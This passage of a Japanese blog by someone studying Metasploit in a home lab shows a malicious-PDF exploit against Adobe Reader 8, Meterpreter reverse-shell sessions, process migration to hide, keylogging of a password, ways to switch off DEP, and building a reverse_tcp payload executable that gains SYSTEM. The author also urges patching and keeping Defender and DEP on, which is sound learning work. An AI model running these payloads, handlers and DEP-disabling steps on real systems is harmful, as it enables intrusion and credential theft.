では、PDF を開きます。XP 視点での動作は、Adobe Reader がハングアップしたように見えるだけです。

Adobe Reader ハングアップ中。
image

一方 msf 側は、XP へ侵入できています。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…

[*] Sending stage (769536 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.90:1094) at 2014-08-11 11:23:59 -0700

meterpreter > sysinfo
Computer        : XPSP3
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : ja_JP
Meterpreter     : x86/win32

実は AcroRd32.exe が 10.10.10.80:4455 とセッションを確立している。
image

今の状態は、単純に AcroRd32.exe から msf へ TCP セッションが貼られているだけなので、ユーザーがハングアップに痺れを切らしてプロセスを終了させるとセッションが失われます。その前に攻撃者は、別のプロセスを隠れ蓑にすることが可能です。

meterpreter > run post/windows/manage/migrate

[*] Running module against XPSP3
[*] Current server process: AcroRd32.exe (520)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1512
[+] Successfully migrated to process 1512

これにより、XP 側では AcroRd32.exe が終了し、notepad.exe (PID=1512) が開始されます。しかしユーザー側にはメモ帳のウィンドウは見えません。あくまでも、少しの間ハングアップしていた Adobe Reader がクラッシュして終了したように見えるだけです。

notepad.exe が動いているがウィンドウが見えない。存在しない PID=520 がセッションを持っているように見える。
image

この状態になるとユーザーは普通気づかないでしょう。ログオフしてプロセスが失われるまでの間に、そのユーザーの権限内であれば何でもできます。試しに、スクリーン ショットとキー ロガーを動かしてみました。キー ロガーを動かしている間に XP 側で runas コマンド実行してみます。愚かなユーザーよ・・・。

meterpreter > screenshot
Screenshot saved to: /home/alice/OCEGNZxE.jpeg
meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against XPSP3
[*] Starting the keystroke sniffer…
[*] Keystrokes being saved in to /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
[*] Recording keystrokes…

^C

[*] Saving last few keystrokes…
[*] Interrupt
[*] Stopping keystroke sniffer…
meterpreter >

キャプチャ画像 OCEGNZxE.jpeg。色は変だが文字は十分読み取れる。
OCEGNZxE

これがキー ストロークのログ。XP 側が日本語キーボードなので一部の記号が正しく記録されていませんが (というか入力ミス多すぎだろ自分w)、ここからパスワードを盗むのは簡単そうです。

alice@kali:~$ cat /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
Keystroke log started at 2014-08-11 11:33:07 -0700
runas /user+admi <Back>  <Back>  <Back>  <Back>  <Back> ;contoso]ad <Back>  <Back>  <Back>  administ
rator cmd <Return> p’ssw0rd <Return> ehoc he <Back>  <Back>  <Back>  <Back>  <Back>  <Back> cho
hello  <Back> a <Back>   <Back> ! <Return>
alice@kali:~$

ユーザーが notepad.exe を終了させると、セッションは失われます。

notepad.exe とともに PID=520 のセッションも消えた
image

msf 側。

meterpreter >
[*] 10.10.10.90 – Meterpreter session 1 closed.  Reason: Died

msf exploit(handler) >

以上から、exe ファイルを実行せずとも、PDF を開いただけでアウトという脆弱性も存在するということが分かります。これがよく言われる、無暗にメールの添付ファイルを開くな、という注意喚起の背景のです。この脆弱性は、Adobe Reader 8 の JavaScript エンジンがバッファー オーバー フローを引き起こすセキュリティー ホールを攻撃するものですが、同じようなことは、ブラウザーやメーラーなどでも起こり得ます。OS や各ソフトウェアに最新パッチをインストールすることが、ユーザー側の対策の基本中の基本です。

この脆弱性も、Adobe Reader を 8.1.3 をインストールすれば起こりません。この場合、白紙の PDF が開かれて終わりです。念のため最新版の 11.0.0.7 でもテストしましたが、問題ありませんでした。リグレッション テストがいい加減だと、過去のセキュリティー ホールが別バージョンで再発する可能性も 0 ではありません。なお、こういったセキュリティ ホールの修正コード自体は、NULL チェックや if 文を一つ追加するだけとかの単純な変更だったりします。

Adobe Reader 8.1.3 on XP – 普通に開ける
image

どうやって reverse_tcp を実行できたのか、というのが最も興味深いところ (というかそれを学ばないと意味がない・・) ですが、それは時間がかかるので後に回すとして、XP 以降の Windows だとどうなるでしょうか。Windows Vista SP2/Windows 7 SP1/Windows 8.1 Update 1 のデフォルト設定で試したところ、システムに入り込むことはできませんでした。また、生成した PDF ファイルは、Windows Defender が有効になっていればトロイの木馬 (Trojan:Win32/Swrort.A) として検出/駆除されます。

Vista 以降の OS だとプロセスが強制的にクラッシュする (32bit/64bit での動作は同じ)
image

「デフォルト設定で」 と記したように、実はある設定を変えることによって Windows 8.1 でもこの脆弱性を攻撃することができますし、逆に Windows XP をガードすることもできます。その設定が DEP (=Data Execution Prevention, データ実行防止) と呼ばれる機能です。つまり、単純に OS が偉くなったわけではなく、OS のデフォルト設定がセキュリティーを強化する方向に変化しているということです。(もちろん OS も偉くなっていますが)

データ実行防止とは
http://windows.microsoft.com/ja-jp/windows-vista/what-is-data-execution-prevention

データ実行防止 – Wikipedia
http://ja.wikipedia.org/wiki/%E3%83%87%E3%83%BC%E3%82%BF%E5%AE%9F%E8%A1%8C%E9%98%B2%E6%AD%A2

単純に言えば DEP とは、プロセスの仮想メモリ空間のうち、実行可能な部分を制限する機能です。しかるべきどころにコードを挿入しないと、コードを実行する前に異常を検知されて OS によってプロセスが終了されてしまうという防御がはたらきます。今回の PDF ファイルでは、実行するコードが実行可能なページとしてマークされていないところに差し込まれていたのでしょう。スタック オーバーフローですし。

DEP の設定箇所はコントロール パネルにあります。Windows 8.1 だと・・・ (重要なところなので日本語 OS の例で・・)

  1. スタート ボタン右クリック > [コントロール パネル] をクリック
  2. [システムとセキュリティ] をクリック
  3. [システム] をクリック
  4. [システムの詳細設定] をクリック
  5. [パフォーマンス] の [設定] ボタンをクリック
  6. [データ実行防止] タブをクリック

操作めんどくさすぎ、という方は、[ファイル名を指定して実行] から sysdm.cpl または systempropertiesadvanced.exe を実行して下さい。XP にも同じ設定があります。

Vista 以降のデフォルト設定
image

Adobe Reader に対して DEP を無効にするには、[次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする] を選択して "C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe" (64bit OS であれば "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" ) を追加すればいいか、というと、単純にそれはできません。以下のように 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 というダイアログが出て怒られてしまいます。

image

こんなの "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" とかいうレジストリに値を直接入れればいいんでないの、という情報もありましたが、それでも動きません。なぜなら、AcroRd32.exe のイメージ ヘッダーにある DllCharacteristics という値で IMAGE_DLLCHARACTERISTICS_NX_COMPAT (0x100) フラグが ON になっているからです。

IMAGE_OPTIONAL_HEADER structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx

ちなみにこの設定、Visual Studio で作ったプログラムでも規定で有効になっています。リンク時のオプションに /NXCOMPAT:NO をつければ無効にできます。

image

 

整理するとこんな感じ。

  • 重要な Windows のプログラムおよびサービスについてのみ有効にする (=OptIn, Vista 以降のデフォルト)
    → AcroRd32.exe は 「重要な Windows のプログラム」 ではないが、NX_COMPAT フラグが ON になっているので DEP 有効
  • 次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする (=OptOut)
    → AcroRd32.exe の NX_COMPAT フラグが ON になっているので追加できない。レジストリで強引に追加しても設定は無視される。

そこで、もし AcroRd32.exe に対する DEP をどうしても無効にしたい場合、選択肢は 2 つ。

  • DEP 設定を全体的に無効 (=AlwaysOff)
  • AcroRd32.exe の NX_COMPAT フラグを OFF

DEP を無効にするためには、管理者権限を持つコマンド プロンプトで "bcdedit /set nx alwaysoff" と実行してコンピューターを再起動すれば OK です。これで、システム全体で DEP が無効になるので危険な状態になります。もちろん非推奨です。

C:\MSWORK>bcdedit

Windows ブート マネージャー
——————————–
identifier              {bootmgr}
device                  partition=\Device\HarddiskVolume1
description             Windows Boot Manager
locale                  ja-JP
inherit                 {globalsettings}
integrityservices       Enable
default                 {current}
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder            {current}
toolsdisplayorder       {memdiag}
timeout                 30

Windows ブート ローダー
——————————–
identifier              {current}
device                  partition=C:
path                    \Windows\system32\winload.exe
description             Windows 8.1
locale                  ja-JP
inherit                 {bootloadersettings}
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices       Enable
recoveryenabled         Yes
allowedinmemorysettings 0x15000075
osdevice                partition=C:
systemroot              \Windows
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx                      OptIn
bootmenupolicy          Standard

C:\MSWORK> bcdedit /set nx alwaysoff
この操作を正しく終了しました。

C:\MSWORK>bcdedit

Windows ブート マネージャー
——————————–
identifier              {bootmgr}
device                  partition=\Device\HarddiskVolume1
description             Windows Boot Manager
locale                  ja-JP
inherit                 {globalsettings}
integrityservices       Enable
default                 {current}
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder            {current}
toolsdisplayorder       {memdiag}
timeout                 30

Windows ブート ローダー
——————————–
identifier              {current}
device                  partition=C:
path                    \Windows\system32\winload.exe
description             Windows 8.1
locale                  ja-JP
inherit                 {bootloadersettings}
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices       Enable
recoveryenabled         Yes
allowedinmemorysettings 0x15000075
osdevice                partition=C:
systemroot              \Windows
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx                      AlwaysOff
bootmenupolicy          Standard

C:\MSWORK>

二つ目の選択肢は、AcroRd32.exe そのものを編集してしまう方法です。これは、Visual Studio もしくは Windows SDK に含まれている EDITBIN.exe を使えば可能です。フラグの状態は dumpbin で確認できます。

/NXCOMPAT
http://msdn.microsoft.com/en-us/library/ms235338.aspx

D:\MSWORK> copy "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.NX.exe"
        1 file(s) copied.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
             14C machine (x86)
               4 number of sections
        46444E37 time date stamp Fri May 11 04:06:31 2007
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             103 characteristics
                   Relocations stripped
                   Executable
                   32 bit word machine

OPTIONAL HEADER VALUES
             10B magic # (PE32)
            8.00 linker version
            3000 size of code
           4E000 size of initialized data
               0 size of uninitialized data
            3402 entry point (00403402)
            1000 base of code
            4000 base of data
          400000 image base (00400000 to 00451FFF)
            1000 section alignment
            1000 file alignment
            4.00 operating system version
            0.00 image version
            4.00 subsystem version
               0 Win32 version
           52000 size of image
            1000 size of headers
           55392 checksum
               2 subsystem (Windows GUI)
             100 DLL characteristics
                   NX compatible
          100000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
(長いので省略)

D:\MSWORK> editbin /nxcompat:no "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Editor Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
             14C machine (x86)
               4 number of sections
        46444E37 time date stamp Fri May 11 04:06:31 2007
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             103 characteristics
                   Relocations stripped
                   Executable
                   32 bit word machine

OPTIONAL HEADER VALUES
             10B magic # (PE32)
            8.00 linker version
            3000 size of code
           4E000 size of initialized data
               0 size of uninitialized data
            3402 entry point (00403402)
            1000 base of code
            4000 base of data
          400000 image base (00400000 to 00451FFF)
            1000 section alignment
            1000 file alignment
            4.00 operating system version
            0.00 image version
            4.00 subsystem version
               0 Win32 version
           52000 size of image
            1000 size of headers
           55292 checksum
               2 subsystem (Windows GUI)
               0 DLL characteristics
          100000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
               0 loader flags
              10 number of directories
               0 [       0] RVA [size] of Export Directory
            7264 [      8C] RVA [size] of Import Directory
(長いので省略)

NX フラグさえ取ってしまえば、DEP の設定は既定の OptIn のままで DEP は無効になります。

この状態で PDF を開くと、最新の Windows 8.1 ですら侵入されます。Windows Defender と DEP 設定は無効にしないようにしましょう。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 3 opened (10.10.10.80:4455 -> 10.10.20.70:49209) at 2014-08-11 13:48:51 -0700

meterpreter > sysinfo
Computer        : CLIENT
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > shell
Process 2072 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\administrator.CONTOSO\Desktop>ver
ver

Microsoft Windows [Version 6.3.9600]

C:\Users\administrator.CONTOSO\Desktop>

では逆に、XP で AcroRd32.exe に対する DEP を有効にしてみます。上述した wiki によると、DEP は XP SP2 で導入されたようです。

Windows XP での DEP 設定画面 (OptOut にすることで AcroRd32.exe が対象になる)
image

DEP によるクラッシュ
image

"DEP 無効化" などのキーワードでインターネット検索を行うと、教えて goo や某知恵袋などのサイトがたくさんヒットし、Windows Live Messenger や、某 DVD ソフトなどが DEP によってクラッシュさせられる事例が見受けられます。実際にこれらのソフトの特定のバージョンが、DEP を有効化すると動かなくなるという現象は十分にあり得ることですが、AlwaysOff の設定は極力使うべきではないでしょう。

クラッシュしてしまうソフトが DEP で落ちてしまうけれども、OptOut の設定に exe を追加しようとすると 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 のダイアログが出て追加できない、という現象には注意が必要な気がします。このダイアログが出るということは、その exe ファイルの NX フラグが有効になっている可能性が高いです。この場合、その製品ベンダーは DEP が有効な状態でアプリケーションが動作可能であることを想定してテストしているはずなので、製品のセキュリティー ホールか、既に攻撃を受けている可能性があるので、ウィルス スキャンや怪しいファイルの削除するなどして対策した方がよさそうです。もし DEP 有効下で動かないのに NX フラグが ON になった exe を出荷しているとすればベンダーが XP でしかテストしてない、とかそういうお粗末な状況が予想されます。

攻撃者からすると、攻撃対象のコンピューターが XP だったり、DEP が無効になっているに越したことはありません。攻撃手段の第一歩として、ソーシャル エンジニアリングを利用してユーザーに対して DEP を無効にさせようといろいろな手を打ってくる可能性もあります。DEP に限らず、セキュリティ設定を弱くする場合には、その効果をよく理解してから行いたいものです。最近だと特にブラウザーの設定ですね。

これが 6 年前のセキュリティー ホールですが、最近の OS やソフトウェアはセキュリティー対策が厳しくなってきているので、攻撃を行うには全てを克服しないといけません。クラッカーの腕の見せ所です。次回はもう少し最近のセキュリティー ホールを見てみたいと思います。

Install&Play Metasploit on Kali Linux

セキュリティ関連の勉強中、ということで、metasploit というフレームワークに手を出してみることに。Kali Linux とかいう Penetration Test  に特化したディストリビューションがあるらしいので、それを使ってみる。Kali Linux には Metasploit が標準で含まれているようです。

Penetration Testing Software | Metasploit
http://www.metasploit.com/

Kali Linux | Rebirth of BackTrack, the Penetration Testing Distribution.
http://www.kali.org/

2014/8/7 時点での最新版は、Kali Linux 64bit 1.0.8 (http://www.kali.org/downloads/)

ISO をダウンロードして普通にインストールするだけです。今回は Hyper-V ゲストにインストール。インストーラーでは迷わず Graphical Install をチョイス。なお、RAM は 1GB だとちょっと辛いので、最低でも 2GB は割り当てたほうがよいです。

(2015/1/26 追記)
本家のサイトを見ると、10GB HDD、512MB RAM が最低らしいです。

Kali Linux Hard Disk Install | Kali Linux Official Documentation
http://docs.kali.org/installation/kali-linux-hard-disk-install

image

インストールは問題なく終わり、ログイン画面。

image

面白いことに、世間の流れとは逆に、Kali Linux は root で操作することが標準となっているようです。理由は↓

Why Does Kali Linux Only Install as root ? – Kali Linux Official Documentation
http://docs.kali.org/faq/why-does-kali-linux-only-install-as-root

何はともあれ、まずは ssh を起動します。openssh-server はインストールに含まれているようですが、自動起動するように設定されていないので、自動機能の設定もしておきます。

root@kali:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.

root@kali:~# sudo update-rc.d ssh enable
update-rc.d: using dependency based boot sequencing

image

root のままだと何だか気持ち悪いので、作業用ユーザー alice を作ることにします。

root@kali:~# useradd -m alice
root@kali:~# passwd alice
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~# usermod -a -G sudo alice
root@kali:~# chsh -s /bin/bash alice

環境変数がいけてないので、.bash_profile を作って追加します。

alice@kali:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
alice@kali:~$ pwd
/home/alice
alice@kali:~$ ls -la
total 24
drwxr-xr-x 2 alice alice 4096 Aug  8 21:42 .
drwxr-xr-x 3 root  root  4096 Aug  8 21:42 ..
-rw-r–r– 1 alice alice  220 Dec 29  2012 .bash_logout
-rw-r–r– 1 alice alice 3391 Jul 21 15:02 .bashrc
-rw-r–r– 1 alice alice 3392 Dec 29  2012 .bashrc.original
-rw-r–r– 1 alice alice  675 Dec 29  2012 .profile
alice@kali:~$ echo export PATH=/usr/sbin:/usr/bin:/sbin:/bin:${PATH} > .bash_profile

(2015/1/26 追記)
上記方法だと、GUI からターミナルを起動したときに設定が反映されません。というのも、/etc/profile の中で root と root 以外のユーザーで異なる PATH を設定するように記述されているためです。

if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
  PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

環境変数をユーザーによって分けておく理由はないので、以下のように if 文は消しておきます。これで GUI 上のターミナルでも環境変数が正しく設定されます。

PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
export PATH

これで OS の準備は終了です。Metasploit を使い始める前に、msfupdate コマンドを実行してバイナリを更新しておきます。バージョンは 4.9.3-2014072301-1kali0 になったようです。

alice@kali:~$ sudo msfupdate

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for alice:
[*]
[*] Attempting to update the Metasploit Framework…
[*]

[*] Checking for updates via the APT repository
[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.9.3-2014072301-1kali0
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following packages will be upgraded:
  metasploit metasploit-framework
2 upgraded, 0 newly installed, 0 to remove and 52 not upgraded.
Need to get 259 MB of archives.
After this operation, 16.3 MB of additional disk space will be used.
Get:1
http://http.kali.org/kali/ kali/main metasploit-framework amd64 4.9.3-2014072301-1kali0 [69.8 MB]
Get:2
http://http.kali.org/kali/ kali/non-free metasploit amd64 4.9.3-2014072301-1kali0 [189 MB]
Fetched 259 MB in 1min 19s (3,257 kB/s)
Reading changelogs… Done
(Reading database … 332471 files and directories currently installed.)
Preparing to replace metasploit-framework 4.9.3-2014071601-1kali2 (using …/metasploit-framework_4.9.3-2014072301-1kali0_amd64.deb) …
Unpacking replacement metasploit-framework …
Preparing to replace metasploit 4.9.3-2014071601-1kali2 (using …/metasploit_4.9.3-2014072301-1kali0_amd64.deb) …
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
Leaving ‘diversion of /usr/bin/msfbinscan to /usr/bin/msfbinscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfcli to /usr/bin/msfcli.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfconsole to /usr/bin/msfconsole.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfd to /usr/bin/msfd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfelfscan to /usr/bin/msfelfscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfencode to /usr/bin/msfencode.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfmachscan to /usr/bin/msfmachscan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpayload to /usr/bin/msfpayload.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfpescan to /usr/bin/msfpescan.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrop to /usr/bin/msfrop.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpc to /usr/bin/msfrpc.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfrpcd to /usr/bin/msfrpcd.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfupdate to /usr/bin/msfupdate.framework by metasploit’
Leaving ‘diversion of /usr/bin/msfvenom to /usr/bin/msfvenom.framework by metasploit’
Unpacking replacement metasploit …
Setting up metasploit-framework (4.9.3-2014072301-1kali0) …
Setting up metasploit (4.9.3-2014072301-1kali0) …
skipping metasploit initialization: postgres not running
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user ‘msf3’…
Creating metasploit database ‘msf3’…
insserv: warning: current start runlevel(s) (empty) of script `metasploit’ overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit’ overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
alice@kali:~$

以下の情報によると、Metasploit の起動には postgresql と metasploit サービスの起動が必要みたいなので、これらも自動起動にしておきます。

alice@kali:~$ sudo update-rc.d postgresql enable
update-rc.d: using dependency based boot sequencing
alice@kali:~$ sudo update-rc.d metasploit enable
update-rc.d: using dependency based boot sequencing

Starting Metasploit Framework | Kali Linux Official Documentation
http://docs.kali.org/general-use/starting-metasploit-framework-in-kali

実際に使う前に、ユーザーとライセンスの登録を行います。ローカル コンソール上でブラウザーを起動して、https://localhost:3790 を開きます。こんな感じの画面が出るので、ユーザー名、パスワードなどを決めます。これはローカルで使うものです。

image

次にライセンス登録を行って製品キーを取得します。

image

登録されました。

image

再起動しろ、と言われているので再起動します。

alice@kali:~$ sudo service metasploit restart
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msfconsole コマンドでコンソールが起動します。

image

このまま終わるのもつまらないので、何かやってみましょう。教材はこちら↓

Create Simple Exploit Using Metasploit to Hack Windows 7
http://www.hacking-tutorial.com/hacking-tutorial/create-simple-exploit-using-metasploit-to-hack-windows-7/#sthash.makjzAdL.TEQBARvt.dpbs

同じコマンドを実行するだけです。まずは・・・

alice@kali:~$ sudo msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.80 X > Documents/v4L.exe
Created by msfpayload (
http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"10.10.10.80"}

v4L.exe とかいう怪しい実行可能ファイルができました。次に、Kali Linux では被攻撃システムからのアクセスを待機しておきます。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.10.80
lhost => 10.10.10.80
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) >

先ほど作った怪しげな v4L.exe を適当な Windows マシンにコピーして実行します。バージョンは Windows 8.1 + Update 1 です。

image

v4L.exe を実行すると、Kali Linux 側に信号が来るので、あとは前述したサイトに書かれているコマンドを実行するだけです。

msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4444
[*] Starting the payload handler…
msf exploit(handler) > [*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 1 opened (10.10.10.80:4444 -> 10.10.20.70:49596) at 2014-08-08 22:23:35 -0700
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales = false to avoid this message.
sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  –  —-                   ———–                     ———-
  1   meterpreter x86/win32  CONTOSO\Administrator @ CLIENT  10.10.10.80:4444 -> 10.10.20.70:49596 (10.10.20.70)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getsystem
…got system (via technique 1).
meterpreter > shell
Process 2924 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami -priv
whoami -priv

PRIVILEGES INFORMATION
———————-

Privilege Name                  Description                               State
=============================== ========================================= =======
SeLockMemoryPrivilege           Lock pages in memory                      Enabled
SeTcbPrivilege                  Act as part of the operating system       Enabled
SeSystemProfilePrivilege        Profile system performance                Enabled
SeProfileSingleProcessPrivilege Profile single process                    Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Enabled
SeCreatePagefilePrivilege       Create a pagefile                         Enabled
SeCreatePermanentPrivilege      Create permanent shared objects           Enabled
SeDebugPrivilege                Debug programs                            Enabled
SeAuditPrivilege                Generate security audits                  Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Enabled
SeTimeZonePrivilege             Change the time zone                      Enabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Enabled

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

無事、Windows マシンを乗っ取ることができたようです。恐ろしいことに、Administrator どころか System アカウントで動いています。しかも Kali Linux 側ではパスワードなどの入力は一切行っていません。

このコンソール上でウィンドウを持つアプリケーションを実行すると、v4L.exe を実行したコンソール上にウィンドウが表示されます。それを Process Explorer で見るとこんな感じになります。まだ何も調べていませんが、一体どういう仕組みなんでしょうかね。

image

ただし、Windows もやられっぱなしというわけではありません。Windows Defender の real-time protection が有効になっていれば、v4L.exe はすぐに Trojan:Win32/Swrort.A として検出され、削除されます。 まさにトロイの木馬のうち、バックドア型のウィルスですね。

image